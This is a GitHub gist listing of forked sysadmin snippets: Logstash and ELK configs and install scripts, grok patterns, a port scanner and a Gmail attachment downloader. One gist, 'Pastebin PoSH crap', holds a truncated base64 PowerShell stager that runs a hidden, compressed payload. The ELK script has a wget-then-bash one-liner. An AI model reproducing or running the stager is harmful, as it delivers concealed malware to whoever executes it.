0ccupi3R’s gists

0ccupi3R / logstash.conf

Created September 27, 2020 23:27 — forked from mrlesmithjr/logstash.conf

	input {
	file {
	path => "/var/log/nginx/access.log"
	type => "nginx-access"
	sincedb_path => "/var/log/.nginxaccesssincedb"
	}
	}
	input {
	file {
	path => "/var/log/nginx/error.log"

0ccupi3R / 001-elksetup.sh

Created December 28, 2019 15:07 — forked from zebde/001-elksetup.sh

ELK Setup Script

	#!/bin/bash

	# ---------------------------------------------------------------------------
	# elksetup.sh - Ubuntu 14.04 based ELK installation script

	# Copyright 2015, https://github.com/zebde

	# This program is free software: you can redistribute it and/or modify
	# it under the terms of the GNU General Public License as published by
	# the Free Software Foundation, either version 3 of the License, or

0ccupi3R / elk.sh

Created December 28, 2019 15:07 — forked from kydouglas/elk.sh

Bash Script to Install Elastic Search, Logstash and Kibana

	#!/bin/bash

	#ONE LINE
	#sudo wget -Nnv 'https://gist.githubusercontent.com/kydouglas/1f68d69e856fd6d7dc223f8e1f5ae3b3/raw/f8c3b22b9d9c41093150b96c815776956b523d9d/elk.sh' && bash elk.sh && rm -f elk.sh

	# Checking whether user has enough permission to run this script
	sudo -n true
	if [ $? -ne 0 ]
	then
	echo "This script requires user to have passwordless sudo access"

0ccupi3R / gist:247870973e2832eb3a4fc8622ab99818

Created December 14, 2019 14:52 — forked from ben0/gist:849c6ab42106652d6ae6049600df6523

Pastebin PoSH crap

aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEASAAvAEoASgBGAHcAQwBBADcAVgBXACsAMgAvAGIATgBoAEQA

0ccupi3R / 10-cisco-elasticsearch.conf

Created November 18, 2019 07:27 — forked from justincjahn/10-cisco-elasticsearch.conf

Logstash: Processing Cisco Logs

	#
	# INPUT - Logstash listens on port 8514 for these logs.
	#

	input {
	udp {
	port => "8514"
	type => "syslog-cisco"
	}

0ccupi3R / postfix

Created November 14, 2019 13:34 — forked from TinLe/postfix

postfix grok patterns for logstash

	# Syslog stuff
	COMPONENT ([\w._\/%-]+)
	COMPID postfix\/%{COMPONENT:component}(?:\[%{NUMBER:pid}\])?
	POSTFIX (?:%{SYSLOGTIMESTAMP:timestamp}\|%{TIMESTAMP_ISO8601:timestamp8601}) (?:%{SYSLOGFACILITY} )?%{SYSLOGHOST:logsource} %{COMPID}:

	# Milter
	HELO (?:\[%{IP:helo}\]\|%{HOST:helo}\|%{DATA:helo})

	MILTERCONNECT %{QUEUEID:qid}: milter-reject: CONNECT from %{RELAY:relay}: %{GREEDYDATA:milter_reason}; proto=%{WORD:proto}
	MILTERUNKNOWN %{QUEUEID:qid}: milter-reject: UNKNOWN from %{RELAY:relay}: %{GREEDYDATA:milter_reason}; proto=%{WORD:proto}

0ccupi3R / mac-vendor.txt

Created November 5, 2019 18:50 — forked from aallan/mac-vendor.txt

List of MAC addresses with vendors identities

	000000 Officially Xerox
	000001 SuperLAN-2U
	000002 BBN (was internal usage only, no longer used)
	000003 XEROX CORPORATION
	000004 XEROX CORPORATION
	000005 XEROX CORPORATION
	000006 XEROX CORPORATION
	000007 XEROX CORPORATION
	000008 XEROX CORPORATION
	000009 powerpipes?

0ccupi3R / check_ips_and_ports.py

Created October 4, 2019 14:38 — forked from awesomebytes/check_ips_and_ports.py

Script to check if IPs in your network have specific port open Python only

	#!/usr/bin/env python
	import socket
	from multiprocessing import Process, Queue
	import time
	import argparse

	"""
	Tools to scan network from python.
	Mostly taken from stack overflow and mixed together.

0ccupi3R / dlAttachments.py

Created September 28, 2019 15:50 — forked from baali/dlAttachments.py

Python script to download all gmail attachments.

	# Something in lines of http://stackoverflow.com/questions/348630/how-can-i-download-all-emails-with-attachments-from-gmail
	# Make sure you have IMAP enabled in your gmail settings.
	# Right now it won't download same file name twice even if their contents are different.

	import email
	import getpass, imaplib
	import os
	import sys

	detach_dir = '.'

0ccupi3R / README.md

Created September 27, 2019 07:22 — forked from tuxmartin/README.md

Python NMAP scanner - vystup v HTML tabulce

apt-get install python-nmap